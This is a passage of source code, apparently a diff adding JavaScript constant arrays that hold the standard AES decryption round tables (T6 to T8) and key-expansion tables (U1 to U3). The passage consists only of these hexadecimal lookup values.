0x5078920d, 0x6a5fcc9b, 0x547e4662, 0xf68d13c2, 0x90d8b8e8, 0x2e39f75e, 0x82c3aff5, 0x9f5d80be, 0x69d0937c, 0x6fd52da9, 0xcf2512b3, 0xc8ac993b, 0x10187da7, 0xe89c636e, 0xdb3bbb7b, 0xcd267809, 0x6e5918f4, 0xec9ab701, 0x834f9aa8, 0xe6956e65, 0xaaffe67e, 0x21bccf08, 0xef15e8e6, 0xbae79bd9, 0x4a6f36ce, 0xea9f09d4, 0x29b07cd6, 0x31a4b2af, 0x2a3f2331, 0xc6a59430, 0x35a266c0, 0x744ebc37, 0xfc82caa6, 0xe090d0b0, 0x33a7d815, 0xf104984a, 0x41ecdaf7, 0x7fcd500e, 0x1791f62f, 0x764dd68d, 0x43efb04d, 0xccaa4d54, 0xe49604df, 0x9ed1b5e3, 0x4c6a881b, 0xc12c1fb8, 0x4665517f, 0x9d5eea04, 0x018c355d, 0xfa877473, 0xfb0b412e, 0xb3671d5a, 0x92dbd252, 0xe9105633, 0x6dd64713, 0x9ad7618c, 0x37a10c7a, 0x59f8148e, 0xeb133c89, 0xcea927ee, 0xb761c935, 0xe11ce5ed, 0x7a47b13c, 0x9cd2df59, 0x55f2733f, 0x1814ce79, 0x73c737bf, 0x53f7cdea, 0x5ffdaa5b, 0xdf3d6f14, 0x7844db86, 0xcaaff381, 0xb968c43e, 0x3824342c, 0xc2a3405f, 0x161dc372, 0xbce2250c, 0x283c498b, 0xff0d9541, 0x39a80171, 0x080cb3de, 0xd8b4e49c, 0x6456c190, 0x7bcb8461, 0xd532b670, 0x486c5c74, 0xd0b85742]; + const T6 = [0x5051f4a7, 0x537e4165, 0xc31a17a4, 0x963a275e, 0xcb3bab6b, 0xf11f9d45, 0xabacfa58, 0x934be303, 0x552030fa, 0xf6ad766d, 0x9188cc76, 0x25f5024c, 0xfc4fe5d7, 0xd7c52acb, 0x80263544, 0x8fb562a3, 0x49deb15a, 0x6725ba1b, 0x9845ea0e, 0xe15dfec0, 0x02c32f75, 0x12814cf0, 0xa38d4697, 0xc66bd3f9, 0xe7038f5f, 0x9515929c, 0xebbf6d7a, 0xda955259, 0x2dd4be83, 0xd3587421, 0x2949e069, 0x448ec9c8, 0x6a75c289, 0x78f48e79, 0x6b99583e, 0xdd27b971, 0xb6bee14f, 0x17f088ad, 0x66c920ac, 0xb47dce3a, 0x1863df4a, 0x82e51a31, 0x60975133, 0x4562537f, 0xe0b16477, 0x84bb6bae, 0x1cfe81a0, 0x94f9082b, 0x58704868, 0x198f45fd, 0x8794de6c, 0xb7527bf8, 0x23ab73d3, 0xe2724b02, 0x57e31f8f, 0x2a6655ab, 0x07b2eb28, 0x032fb5c2, 0x9a86c57b, 0xa5d33708, 0xf2302887, 0xb223bfa5, 0xba02036a, 0x5ced1682, 0x2b8acf1c, 0x92a779b4, 0xf0f307f2, 0xa14e69e2, 0xcd65daf4, 0xd50605be, 0x1fd13462, 0x8ac4a6fe, 0x9d342e53, 0xa0a2f355, 0x32058ae1, 0x75a4f6eb, 0x390b83ec, 0xaa4060ef, 0x065e719f, 0x51bd6e10, 0xf93e218a, 0x3d96dd06, 0xaedd3e05, 0x464de6bd, 0xb591548d, 0x0571c45d, 0x6f0406d4, 0xff605015, 0x241998fb, 0x97d6bde9, 0xcc894043, 0x7767d99e, 0xbdb0e842, 0x8807898b, 0x38e7195b, 0xdb79c8ee, 0x47a17c0a, 0xe97c420f, 0xc9f8841e, 0x00000000, 0x83098086, 0x48322bed, 0xac1e1170, 0x4e6c5a72, 0xfbfd0eff, 0x560f8538, 0x1e3daed5, 0x27362d39, 0x640a0fd9, 0x21685ca6, 0xd19b5b54, 0x3a24362e, 0xb10c0a67, 0x0f9357e7, 0xd2b4ee96, 0x9e1b9b91, 0x4f80c0c5, 0xa261dc20, 0x695a774b, 0x161c121a, 0x0ae293ba, 0xe5c0a02a, 0x433c22e0, 0x1d121b17, 0x0b0e090d, 0xadf28bc7, 0xb92db6a8, 0xc8141ea9, 0x8557f119, 0x4caf7507, 0xbbee99dd, 0xfda37f60, 0x9ff70126, 0xbc5c72f5, 0xc544663b, 0x345bfb7e, 0x768b4329, 0xdccb23c6, 0x68b6edfc, 0x63b8e4f1, 0xcad731dc, 0x10426385, 0x40139722, 0x2084c611, 0x7d854a24, 0xf8d2bb3d, 0x11aef932, 0x6dc729a1, 0x4b1d9e2f, 0xf3dcb230, 0xec0d8652, 0xd077c1e3, 0x6c2bb316, 0x99a970b9, 0xfa119448, 0x2247e964, 0xc4a8fc8c, 0x1aa0f03f, 0xd8567d2c, 0xef223390, 0xc787494e, 0xc1d938d1, 0xfe8ccaa2, 0x3698d40b, 0xcfa6f581, 0x28a57ade, 0x26dab78e, 0xa43fadbf, 0xe42c3a9d, 0x0d507892, 0x9b6a5fcc, 0x62547e46, 0xc2f68d13, 0xe890d8b8, 0x5e2e39f7, 0xf582c3af, 0xbe9f5d80, 0x7c69d093, 0xa96fd52d, 0xb3cf2512, 0x3bc8ac99, 0xa710187d, 0x6ee89c63, 0x7bdb3bbb, 0x09cd2678, 0xf46e5918, 0x01ec9ab7, 0xa8834f9a, 0x65e6956e, 0x7eaaffe6, 0x0821bccf, 0xe6ef15e8, 0xd9bae79b, 0xce4a6f36, 0xd4ea9f09, 0xd629b07c, 0xaf31a4b2, 0x312a3f23, 0x30c6a594, 0xc035a266, 0x37744ebc, 0xa6fc82ca, 0xb0e090d0, 0x1533a7d8, 0x4af10498, 0xf741ecda, 0x0e7fcd50, 0x2f1791f6, 0x8d764dd6, 0x4d43efb0, 0x54ccaa4d, 0xdfe49604, 0xe39ed1b5, 0x1b4c6a88, 0xb8c12c1f, 0x7f466551, 0x049d5eea, 0x5d018c35, 0x73fa8774, 0x2efb0b41, 0x5ab3671d, 0x5292dbd2, 0x33e91056, 0x136dd647, 0x8c9ad761, 0x7a37a10c, 0x8e59f814, 0x89eb133c, 0xeecea927, 0x35b761c9, 0xede11ce5, 0x3c7a47b1, 0x599cd2df, 0x3f55f273, 0x791814ce, 0xbf73c737, 0xea53f7cd, 0x5b5ffdaa, 0x14df3d6f, 0x867844db, 0x81caaff3, 0x3eb968c4, 0x2c382434, 0x5fc2a340, 0x72161dc3, 0x0cbce225, 0x8b283c49, 0x41ff0d95, 0x7139a801, 0xde080cb3, 0x9cd8b4e4, 0x906456c1, 0x617bcb84, 0x70d532b6, 0x74486c5c, 0x42d0b857]; + const T7 = [0xa75051f4, 0x65537e41, 0xa4c31a17, 0x5e963a27, 0x6bcb3bab, 0x45f11f9d, 0x58abacfa, 0x03934be3, 0xfa552030, 0x6df6ad76, 0x769188cc, 0x4c25f502, 0xd7fc4fe5, 0xcbd7c52a, 0x44802635, 0xa38fb562, 0x5a49deb1, 0x1b6725ba, 0x0e9845ea, 0xc0e15dfe, 0x7502c32f, 0xf012814c, 0x97a38d46, 0xf9c66bd3, 0x5fe7038f, 0x9c951592, 0x7aebbf6d, 0x59da9552, 0x832dd4be, 0x21d35874, 0x692949e0, 0xc8448ec9, 0x896a75c2, 0x7978f48e, 0x3e6b9958, 0x71dd27b9, 0x4fb6bee1, 0xad17f088, 0xac66c920, 0x3ab47dce, 0x4a1863df, 0x3182e51a, 0x33609751, 0x7f456253, 0x77e0b164, 0xae84bb6b, 0xa01cfe81, 0x2b94f908, 0x68587048, 0xfd198f45, 0x6c8794de, 0xf8b7527b, 0xd323ab73, 0x02e2724b, 0x8f57e31f, 0xab2a6655, 0x2807b2eb, 0xc2032fb5, 0x7b9a86c5, 0x08a5d337, 0x87f23028, 0xa5b223bf, 0x6aba0203, 0x825ced16, 0x1c2b8acf, 0xb492a779, 0xf2f0f307, 0xe2a14e69, 0xf4cd65da, 0xbed50605, 0x621fd134, 0xfe8ac4a6, 0x539d342e, 0x55a0a2f3, 0xe132058a, 0xeb75a4f6, 0xec390b83, 0xefaa4060, 0x9f065e71, 0x1051bd6e, 0x8af93e21, 0x063d96dd, 0x05aedd3e, 0xbd464de6, 0x8db59154, 0x5d0571c4, 0xd46f0406, 0x15ff6050, 0xfb241998, 0xe997d6bd, 0x43cc8940, 0x9e7767d9, 0x42bdb0e8, 0x8b880789, 0x5b38e719, 0xeedb79c8, 0x0a47a17c, 0x0fe97c42, 0x1ec9f884, 0x00000000, 0x86830980, 0xed48322b, 0x70ac1e11, 0x724e6c5a, 0xfffbfd0e, 0x38560f85, 0xd51e3dae, 0x3927362d, 0xd9640a0f, 0xa621685c, 0x54d19b5b, 0x2e3a2436, 0x67b10c0a, 0xe70f9357, 0x96d2b4ee, 0x919e1b9b, 0xc54f80c0, 0x20a261dc, 0x4b695a77, 0x1a161c12, 0xba0ae293, 0x2ae5c0a0, 0xe0433c22, 0x171d121b, 0x0d0b0e09, 0xc7adf28b, 0xa8b92db6, 0xa9c8141e, 0x198557f1, 0x074caf75, 0xddbbee99, 0x60fda37f, 0x269ff701, 0xf5bc5c72, 0x3bc54466, 0x7e345bfb, 0x29768b43, 0xc6dccb23, 0xfc68b6ed, 0xf163b8e4, 0xdccad731, 0x85104263, 0x22401397, 0x112084c6, 0x247d854a, 0x3df8d2bb, 0x3211aef9, 0xa16dc729, 0x2f4b1d9e, 0x30f3dcb2, 0x52ec0d86, 0xe3d077c1, 0x166c2bb3, 0xb999a970, 0x48fa1194, 0x642247e9, 0x8cc4a8fc, 0x3f1aa0f0, 0x2cd8567d, 0x90ef2233, 0x4ec78749, 0xd1c1d938, 0xa2fe8cca, 0x0b3698d4, 0x81cfa6f5, 0xde28a57a, 0x8e26dab7, 0xbfa43fad, 0x9de42c3a, 0x920d5078, 0xcc9b6a5f, 0x4662547e, 0x13c2f68d, 0xb8e890d8, 0xf75e2e39, 0xaff582c3, 0x80be9f5d, 0x937c69d0, 0x2da96fd5, 0x12b3cf25, 0x993bc8ac, 0x7da71018, 0x636ee89c, 0xbb7bdb3b, 0x7809cd26, 0x18f46e59, 0xb701ec9a, 0x9aa8834f, 0x6e65e695, 0xe67eaaff, 0xcf0821bc, 0xe8e6ef15, 0x9bd9bae7, 0x36ce4a6f, 0x09d4ea9f, 0x7cd629b0, 0xb2af31a4, 0x23312a3f, 0x9430c6a5, 0x66c035a2, 0xbc37744e, 0xcaa6fc82, 0xd0b0e090, 0xd81533a7, 0x984af104, 0xdaf741ec, 0x500e7fcd, 0xf62f1791, 0xd68d764d, 0xb04d43ef, 0x4d54ccaa, 0x04dfe496, 0xb5e39ed1, 0x881b4c6a, 0x1fb8c12c, 0x517f4665, 0xea049d5e, 0x355d018c, 0x7473fa87, 0x412efb0b, 0x1d5ab367, 0xd25292db, 0x5633e910, 0x47136dd6, 0x618c9ad7, 0x0c7a37a1, 0x148e59f8, 0x3c89eb13, 0x27eecea9, 0xc935b761, 0xe5ede11c, 0xb13c7a47, 0xdf599cd2, 0x733f55f2, 0xce791814, 0x37bf73c7, 0xcdea53f7, 0xaa5b5ffd, 0x6f14df3d, 0xdb867844, 0xf381caaf, 0xc43eb968, 0x342c3824, 0x405fc2a3, 0xc372161d, 0x250cbce2, 0x498b283c, 0x9541ff0d, 0x017139a8, 0xb3de080c, 0xe49cd8b4, 0xc1906456, 0x84617bcb, 0xb670d532, 0x5c74486c, 0x5742d0b8]; + const T8 = [0xf4a75051, 0x4165537e, 0x17a4c31a, 0x275e963a, 0xab6bcb3b, 0x9d45f11f, 0xfa58abac, 0xe303934b, 0x30fa5520, 0x766df6ad, 0xcc769188, 0x024c25f5, 0xe5d7fc4f, 0x2acbd7c5, 0x35448026, 0x62a38fb5, 0xb15a49de, 0xba1b6725, 0xea0e9845, 0xfec0e15d, 0x2f7502c3, 0x4cf01281, 0x4697a38d, 0xd3f9c66b, 0x8f5fe703, 0x929c9515, 0x6d7aebbf, 0x5259da95, 0xbe832dd4, 0x7421d358, 0xe0692949, 0xc9c8448e, 0xc2896a75, 0x8e7978f4, 0x583e6b99, 0xb971dd27, 0xe14fb6be, 0x88ad17f0, 0x20ac66c9, 0xce3ab47d, 0xdf4a1863, 0x1a3182e5, 0x51336097, 0x537f4562, 0x6477e0b1, 0x6bae84bb, 0x81a01cfe, 0x082b94f9, 0x48685870, 0x45fd198f, 0xde6c8794, 0x7bf8b752, 0x73d323ab, 0x4b02e272, 0x1f8f57e3, 0x55ab2a66, 0xeb2807b2, 0xb5c2032f, 0xc57b9a86, 0x3708a5d3, 0x2887f230, 0xbfa5b223, 0x036aba02, 0x16825ced, 0xcf1c2b8a, 0x79b492a7, 0x07f2f0f3, 0x69e2a14e, 0xdaf4cd65, 0x05bed506, 0x34621fd1, 0xa6fe8ac4, 0x2e539d34, 0xf355a0a2, 0x8ae13205, 0xf6eb75a4, 0x83ec390b, 0x60efaa40, 0x719f065e, 0x6e1051bd, 0x218af93e, 0xdd063d96, 0x3e05aedd, 0xe6bd464d, 0x548db591, 0xc45d0571, 0x06d46f04, 0x5015ff60, 0x98fb2419, 0xbde997d6, 0x4043cc89, 0xd99e7767, 0xe842bdb0, 0x898b8807, 0x195b38e7, 0xc8eedb79, 0x7c0a47a1, 0x420fe97c, 0x841ec9f8, 0x00000000, 0x80868309, 0x2bed4832, 0x1170ac1e, 0x5a724e6c, 0x0efffbfd, 0x8538560f, 0xaed51e3d, 0x2d392736, 0x0fd9640a, 0x5ca62168, 0x5b54d19b, 0x362e3a24, 0x0a67b10c, 0x57e70f93, 0xee96d2b4, 0x9b919e1b, 0xc0c54f80, 0xdc20a261, 0x774b695a, 0x121a161c, 0x93ba0ae2, 0xa02ae5c0, 0x22e0433c, 0x1b171d12, 0x090d0b0e, 0x8bc7adf2, 0xb6a8b92d, 0x1ea9c814, 0xf1198557, 0x75074caf, 0x99ddbbee, 0x7f60fda3, 0x01269ff7, 0x72f5bc5c, 0x663bc544, 0xfb7e345b, 0x4329768b, 0x23c6dccb, 0xedfc68b6, 0xe4f163b8, 0x31dccad7, 0x63851042, 0x97224013, 0xc6112084, 0x4a247d85, 0xbb3df8d2, 0xf93211ae, 0x29a16dc7, 0x9e2f4b1d, 0xb230f3dc, 0x8652ec0d, 0xc1e3d077, 0xb3166c2b, 0x70b999a9, 0x9448fa11, 0xe9642247, 0xfc8cc4a8, 0xf03f1aa0, 0x7d2cd856, 0x3390ef22, 0x494ec787, 0x38d1c1d9, 0xcaa2fe8c, 0xd40b3698, 0xf581cfa6, 0x7ade28a5, 0xb78e26da, 0xadbfa43f, 0x3a9de42c, 0x78920d50, 0x5fcc9b6a, 0x7e466254, 0x8d13c2f6, 0xd8b8e890, 0x39f75e2e, 0xc3aff582, 0x5d80be9f, 0xd0937c69, 0xd52da96f, 0x2512b3cf, 0xac993bc8, 0x187da710, 0x9c636ee8, 0x3bbb7bdb, 0x267809cd, 0x5918f46e, 0x9ab701ec, 0x4f9aa883, 0x956e65e6, 0xffe67eaa, 0xbccf0821, 0x15e8e6ef, 0xe79bd9ba, 0x6f36ce4a, 0x9f09d4ea, 0xb07cd629, 0xa4b2af31, 0x3f23312a, 0xa59430c6, 0xa266c035, 0x4ebc3774, 0x82caa6fc, 0x90d0b0e0, 0xa7d81533, 0x04984af1, 0xecdaf741, 0xcd500e7f, 0x91f62f17, 0x4dd68d76, 0xefb04d43, 0xaa4d54cc, 0x9604dfe4, 0xd1b5e39e, 0x6a881b4c, 0x2c1fb8c1, 0x65517f46, 0x5eea049d, 0x8c355d01, 0x877473fa, 0x0b412efb, 0x671d5ab3, 0xdbd25292, 0x105633e9, 0xd647136d, 0xd7618c9a, 0xa10c7a37, 0xf8148e59, 0x133c89eb, 0xa927eece, 0x61c935b7, 0x1ce5ede1, 0x47b13c7a, 0xd2df599c, 0xf2733f55, 0x14ce7918, 0xc737bf73, 0xf7cdea53, 0xfdaa5b5f, 0x3d6f14df, 0x44db8678, 0xaff381ca, 0x68c43eb9, 0x24342c38, 0xa3405fc2, 0x1dc37216, 0xe2250cbc, 0x3c498b28, 0x0d9541ff, 0xa8017139, 0x0cb3de08, 0xb4e49cd8, 0x56c19064, 0xcb84617b, 0x32b670d5, 0x6c5c7448, 0xb85742d0]; + // Transformations for decryption key expansion + const U1 = [0x00000000, 0x0e090d0b, 0x1c121a16, 0x121b171d, 0x3824342c, 0x362d3927, 0x24362e3a, 0x2a3f2331, 0x70486858, 0x7e416553, 0x6c5a724e, 0x62537f45, 0x486c5c74, 0x4665517f, 0x547e4662, 0x5a774b69, 0xe090d0b0, 0xee99ddbb, 0xfc82caa6, 0xf28bc7ad, 0xd8b4e49c, 0xd6bde997, 0xc4a6fe8a, 0xcaaff381, 0x90d8b8e8, 0x9ed1b5e3, 0x8ccaa2fe, 0x82c3aff5, 0xa8fc8cc4, 0xa6f581cf, 0xb4ee96d2, 0xbae79bd9, 0xdb3bbb7b, 0xd532b670, 0xc729a16d, 0xc920ac66, 0xe31f8f57, 0xed16825c, 0xff0d9541, 0xf104984a, 0xab73d323, 0xa57ade28, 0xb761c935, 0xb968c43e, 0x9357e70f, 0x9d5eea04, 0x8f45fd19, 0x814cf012, 0x3bab6bcb, 0x35a266c0, 0x27b971dd, 0x29b07cd6, 0x038f5fe7, 0x0d8652ec, 0x1f9d45f1, 0x119448fa, 0x4be30393, 0x45ea0e98, 0x57f11985, 0x59f8148e, 0x73c737bf, 0x7dce3ab4, 0x6fd52da9, 0x61dc20a2, 0xad766df6, 0xa37f60fd, 0xb16477e0, 0xbf6d7aeb, 0x955259da, 0x9b5b54d1, 0x894043cc, 0x87494ec7, 0xdd3e05ae, 0xd33708a5, 0xc12c1fb8, 0xcf2512b3, 0xe51a3182, 0xeb133c89, 0xf9082b94, 0xf701269f, 0x4de6bd46, 0x43efb04d, 0x51f4a750, 0x5ffdaa5b, 0x75c2896a, 0x7bcb8461, 0x69d0937c, 0x67d99e77, 0x3daed51e, 0x33a7d815, 0x21bccf08, 0x2fb5c203, 0x058ae132, 0x0b83ec39, 0x1998fb24, 0x1791f62f, 0x764dd68d, 0x7844db86, 0x6a5fcc9b, 0x6456c190, 0x4e69e2a1, 0x4060efaa, 0x527bf8b7, 0x5c72f5bc, 0x0605bed5, 0x080cb3de, 0x1a17a4c3, 0x141ea9c8, 0x3e218af9, 0x302887f2, 0x223390ef, 0x2c3a9de4, 0x96dd063d, 0x98d40b36, 0x8acf1c2b, 0x84c61120, 0xaef93211, 0xa0f03f1a, 0xb2eb2807, 0xbce2250c, 0xe6956e65, 0xe89c636e, 0xfa877473, 0xf48e7978, 0xdeb15a49, 0xd0b85742, 0xc2a3405f, 0xccaa4d54, 0x41ecdaf7, 0x4fe5d7fc, 0x5dfec0e1, 0x53f7cdea, 0x79c8eedb, 0x77c1e3d0, 0x65daf4cd, 0x6bd3f9c6, 0x31a4b2af, 0x3fadbfa4, 0x2db6a8b9, 0x23bfa5b2, 0x09808683, 0x07898b88, 0x15929c95, 0x1b9b919e, 0xa17c0a47, 0xaf75074c, 0xbd6e1051, 0xb3671d5a, 0x99583e6b, 0x97513360, 0x854a247d, 0x8b432976, 0xd134621f, 0xdf3d6f14, 0xcd267809, 0xc32f7502, 0xe9105633, 0xe7195b38, 0xf5024c25, 0xfb0b412e, 0x9ad7618c, 0x94de6c87, 0x86c57b9a, 0x88cc7691, 0xa2f355a0, 0xacfa58ab, 0xbee14fb6, 0xb0e842bd, 0xea9f09d4, 0xe49604df, 0xf68d13c2, 0xf8841ec9, 0xd2bb3df8, 0xdcb230f3, 0xcea927ee, 0xc0a02ae5, 0x7a47b13c, 0x744ebc37, 0x6655ab2a, 0x685ca621, 0x42638510, 0x4c6a881b, 0x5e719f06, 0x5078920d, 0x0a0fd964, 0x0406d46f, 0x161dc372, 0x1814ce79, 0x322bed48, 0x3c22e043, 0x2e39f75e, 0x2030fa55, 0xec9ab701, 0xe293ba0a, 0xf088ad17, 0xfe81a01c, 0xd4be832d, 0xdab78e26, 0xc8ac993b, 0xc6a59430, 0x9cd2df59, 0x92dbd252, 0x80c0c54f, 0x8ec9c844, 0xa4f6eb75, 0xaaffe67e, 0xb8e4f163, 0xb6edfc68, 0x0c0a67b1, 0x02036aba, 0x10187da7, 0x1e1170ac, 0x342e539d, 0x3a275e96, 0x283c498b, 0x26354480, 0x7c420fe9, 0x724b02e2, 0x605015ff, 0x6e5918f4, 0x44663bc5, 0x4a6f36ce, 0x587421d3, 0x567d2cd8, 0x37a10c7a, 0x39a80171, 0x2bb3166c, 0x25ba1b67, 0x0f853856, 0x018c355d, 0x13972240, 0x1d9e2f4b, 0x47e96422, 0x49e06929, 0x5bfb7e34, 0x55f2733f, 0x7fcd500e, 0x71c45d05, 0x63df4a18, 0x6dd64713, 0xd731dcca, 0xd938d1c1, 0xcb23c6dc, 0xc52acbd7, 0xef15e8e6, 0xe11ce5ed, 0xf307f2f0, 0xfd0efffb, 0xa779b492, 0xa970b999, 0xbb6bae84, 0xb562a38f, 0x9f5d80be, 0x91548db5, 0x834f9aa8, 0x8d4697a3]; + const U2 = [0x00000000, 0x0b0e090d, 0x161c121a, 0x1d121b17, 0x2c382434, 0x27362d39, 0x3a24362e, 0x312a3f23, 0x58704868, 0x537e4165, 0x4e6c5a72, 0x4562537f, 0x74486c5c, 0x7f466551, 0x62547e46, 0x695a774b, 0xb0e090d0, 0xbbee99dd, 0xa6fc82ca, 0xadf28bc7, 0x9cd8b4e4, 0x97d6bde9, 0x8ac4a6fe, 0x81caaff3, 0xe890d8b8, 0xe39ed1b5, 0xfe8ccaa2, 0xf582c3af, 0xc4a8fc8c, 0xcfa6f581, 0xd2b4ee96, 0xd9bae79b, 0x7bdb3bbb, 0x70d532b6, 0x6dc729a1, 0x66c920ac, 0x57e31f8f, 0x5ced1682, 0x41ff0d95, 0x4af10498, 0x23ab73d3, 0x28a57ade, 0x35b761c9, 0x3eb968c4, 0x0f9357e7, 0x049d5eea, 0x198f45fd, 0x12814cf0, 0xcb3bab6b, 0xc035a266, 0xdd27b971, 0xd629b07c, 0xe7038f5f, 0xec0d8652, 0xf11f9d45, 0xfa119448, 0x934be303, 0x9845ea0e, 0x8557f119, 0x8e59f814, 0xbf73c737, 0xb47dce3a, 0xa96fd52d, 0xa261dc20, 0xf6ad766d, 0xfda37f60, 0xe0b16477, 0xebbf6d7a, 0xda955259, 0xd19b5b54, 0xcc894043, 0xc787494e, 0xaedd3e05, 0xa5d33708, 0xb8c12c1f, 0xb3cf2512, 0x82e51a31, 0x89eb133c, 0x94f9082b, 0x9ff70126, 0x464de6bd, 0x4d43efb0, 0x5051f4a7, 0x5b5ffdaa, 0x6a75c289, 0x617bcb84, 0x7c69d093, 0x7767d99e, 0x1e3daed5, 0x1533a7d8, 0x0821bccf, 0x032fb5c2, 0x32058ae1, 0x390b83ec, 0x241998fb, 0x2f1791f6, 0x8d764dd6, 0x867844db, 0x9b6a5fcc, 0x906456c1, 0xa14e69e2, 0xaa4060ef, 0xb7527bf8, 0xbc5c72f5, 0xd50605be, 0xde080cb3, 0xc31a17a4, 0xc8141ea9, 0xf93e218a, 0xf2302887, 0xef223390, 0xe42c3a9d, 0x3d96dd06, 0x3698d40b, 0x2b8acf1c, 0x2084c611, 0x11aef932, 0x1aa0f03f, 0x07b2eb28, 0x0cbce225, 0x65e6956e, 0x6ee89c63, 0x73fa8774, 0x78f48e79, 0x49deb15a, 0x42d0b857, 0x5fc2a340, 0x54ccaa4d, 0xf741ecda, 0xfc4fe5d7, 0xe15dfec0, 0xea53f7cd, 0xdb79c8ee, 0xd077c1e3, 0xcd65daf4, 0xc66bd3f9, 0xaf31a4b2, 0xa43fadbf, 0xb92db6a8, 0xb223bfa5, 0x83098086, 0x8807898b, 0x9515929c, 0x9e1b9b91, 0x47a17c0a, 0x4caf7507, 0x51bd6e10, 0x5ab3671d, 0x6b99583e, 0x60975133, 0x7d854a24, 0x768b4329, 0x1fd13462, 0x14df3d6f, 0x09cd2678, 0x02c32f75, 0x33e91056, 0x38e7195b, 0x25f5024c, 0x2efb0b41, 0x8c9ad761, 0x8794de6c, 0x9a86c57b, 0x9188cc76, 0xa0a2f355, 0xabacfa58, 0xb6bee14f, 0xbdb0e842, 0xd4ea9f09, 0xdfe49604, 0xc2f68d13, 0xc9f8841e, 0xf8d2bb3d, 0xf3dcb230, 0xeecea927, 0xe5c0a02a, 0x3c7a47b1, 0x37744ebc, 0x2a6655ab, 0x21685ca6, 0x10426385, 0x1b4c6a88, 0x065e719f, 0x0d507892, 0x640a0fd9, 0x6f0406d4, 0x72161dc3, 0x791814ce, 0x48322bed, 0x433c22e0, 0x5e2e39f7, 0x552030fa, 0x01ec9ab7, 0x0ae293ba, 0x17f088ad, 0x1cfe81a0, 0x2dd4be83, 0x26dab78e, 0x3bc8ac99, 0x30c6a594, 0x599cd2df, 0x5292dbd2, 0x4f80c0c5, 0x448ec9c8, 0x75a4f6eb, 0x7eaaffe6, 0x63b8e4f1, 0x68b6edfc, 0xb10c0a67, 0xba02036a, 0xa710187d, 0xac1e1170, 0x9d342e53, 0x963a275e, 0x8b283c49, 0x80263544, 0xe97c420f, 0xe2724b02, 0xff605015, 0xf46e5918, 0xc544663b, 0xce4a6f36, 0xd3587421, 0xd8567d2c, 0x7a37a10c, 0x7139a801, 0x6c2bb316, 0x6725ba1b, 0x560f8538, 0x5d018c35, 0x40139722, 0x4b1d9e2f, 0x2247e964, 0x2949e069, 0x345bfb7e, 0x3f55f273, 0x0e7fcd50, 0x0571c45d, 0x1863df4a, 0x136dd647, 0xcad731dc, 0xc1d938d1, 0xdccb23c6, 0xd7c52acb, 0xe6ef15e8, 0xede11ce5, 0xf0f307f2, 0xfbfd0eff, 0x92a779b4, 0x99a970b9, 0x84bb6bae, 0x8fb562a3, 0xbe9f5d80, 0xb591548d, 0xa8834f9a, 0xa38d4697]; + const U3 = [0x00000000, 0x0d0b0e09, 0x1a161c12, 0x171d121b, 0x342c3824, 0x3927362d, 0x2e3a2436, 0x23312a3f, 0x68587048, 0x65537e41, 0x724e6c5a, 0x7f456253, 0x5c74486c, 0x517f4665, 0x4662547e, 0x4b695a77, 0xd0b0e090, 0xddbbee99, 0xcaa6fc82, 0xc7adf28b, 0xe49cd8b4, 0xe997d6bd, 0xfe8ac4a6, 0xf381caaf, 0xb8e890d8, 0xb5e39ed1, 0xa2fe8cca, 0xaff582c3, 0x8cc4a8fc, 0x81cfa6f5, 0x96d2b4ee, 0x9bd9bae7, 0xbb7bdb3b, 0xb670d532, 0xa16dc729, 0xac66c920, 0x8f57e31f, 0x825ced16, 0x9541ff0d, 0x984af104, 0xd323ab73, 0xde28a57a, 0xc935b761, 0xc43eb968, 0xe70f9357, 0xea049d5e, 0xfd198f45, 0xf012814c, 0x6bcb3bab, 0x66c035a2, 0x71dd27b9, 0x7cd629b0, 0x5fe7038f, 0x52ec0d86, 0x45f11f9d, 0x48fa1194, 0x03934be3, 0x0e9845ea, 0x198557f1, 0x148e59f8, 0x37bf73c7, 0x3ab47dce, 0x2da96fd5, 0x20a261dc, 0x6df6ad76, 0x60fda37f, 0x77e0b164, 0x7aebbf6d, 0x59da9552, 0x54d19b5b, 0x43cc8940, 0x4ec78749, 0x05aedd3e, 0x08a5d337, 0x1fb8c12c, 0x12b3cf25, 0x3182e51a, 0x3c89eb13, 0x2b94f908, 0x269ff701, 0xbd464de6, 0xb04d43ef, 0xa75051f4, 0xaa5b5ffd, 0x896a75c2, 0x84617bcb, 0x937c69d0, 0x9e7767d9, 0xd51e3dae, 0xd81533a7, 0xcf0821bc, 0xc2032fb5, 0xe132058a, 0xec390b83, 0xfb241998, 0xf62f1791, 0xd68d764d, 0xdb867844, 0xcc9b6a5f, 0xc1906456, 0xe2a14e69, 0xefaa4060, 0xf8b7527b, 0xf5bc5c72, 0xbed50605, 0xb3de080c, 0xa4c31a17, 0xa9c8141e, 0x8af93e21, 0x87f23028, 0x90ef2233, 0x9de42c3a, 0x063d96dd, 0x0b3698d4, 0x1c2b8acf, 0x112084c6, 0x3211aef9, 0x3f1aa0f0, 0x2807b2eb, 0x250cbce2, 0x6e65e695, 0x636ee89c, 0x7473fa87, 0x7978f48e, 0x5a49deb1, 0x5742d0b8, 0x405fc2a3, 0x4d54ccaa, 0xdaf741ec, 0xd7fc4fe5, 0xc0e15dfe, 0xcdea53f7, 0xeedb79c8, 0xe3d077c1, 0xf4cd65da, 0xf9c66bd3, 0xb2af31a4, 0xbfa43fad, 0xa8b92db6, 0xa5b223bf, 0x86830980, 0x8b880789, 0x9c951592, 0x919e1b9b, 0x0a47a17c, 0x074caf75, 0x1051bd6e, 0x1d5ab367, 0x3e6b9958, 0x33609751, 0x247d854a, 0x29768b43, 0x621fd134, 0x6f14df3d, 0x7809cd26, 0x7502c32f, 0x5633e910, 0x5b38e719, 0x4c25f502, 0x412efb0b, 0x618c9ad7, 0x6c8794de, 0x7b9a86c5, 0x769188cc, 0x55a0a2f3, 0x58abacfa, 0x4fb6bee1, 0x42bdb0e8, 0x09d4ea9f, 0x04dfe496, 0x13c2f68d, 0x1ec9f884, 0x3df8d2bb, 0x30f3dcb2, 0x27eecea9, 0x2ae5c0a0, 0xb13c7a47, 0xbc37744e, 0xab2a6655, 0xa621685c, 0x85104263, 0x881b4c6a, 0x9f065e71, 0x920d5078, 0xd9640a0f, 0xd46f0406, 0xc372161d, 0xce791814, 0xed48322b, 0xe0433c22, 0xf75e2e39, 0xfa552030, 0xb701ec9a, 0xba0ae293, 0xad17f088, 0xa01cfe81, 0x832dd4be, 0x8e26dab7, 0x993bc8ac, 0x9430c6a5, 0xdf599cd2, 0xd25292db, 0xc54f80c0, 0xc8448ec9, 0xeb75a4f6, 0xe67eaaff, 0xf163b8e4, 0xfc68b6ed, 0x67b10c0a, 0x6aba0203, 0x7da71018, 0x70ac1e11, 0x539d342e, 0x5e963a27, 0x498b283c, 0x44802635, 0x0fe97c42, 0x02e2724b, 0x15ff6050, 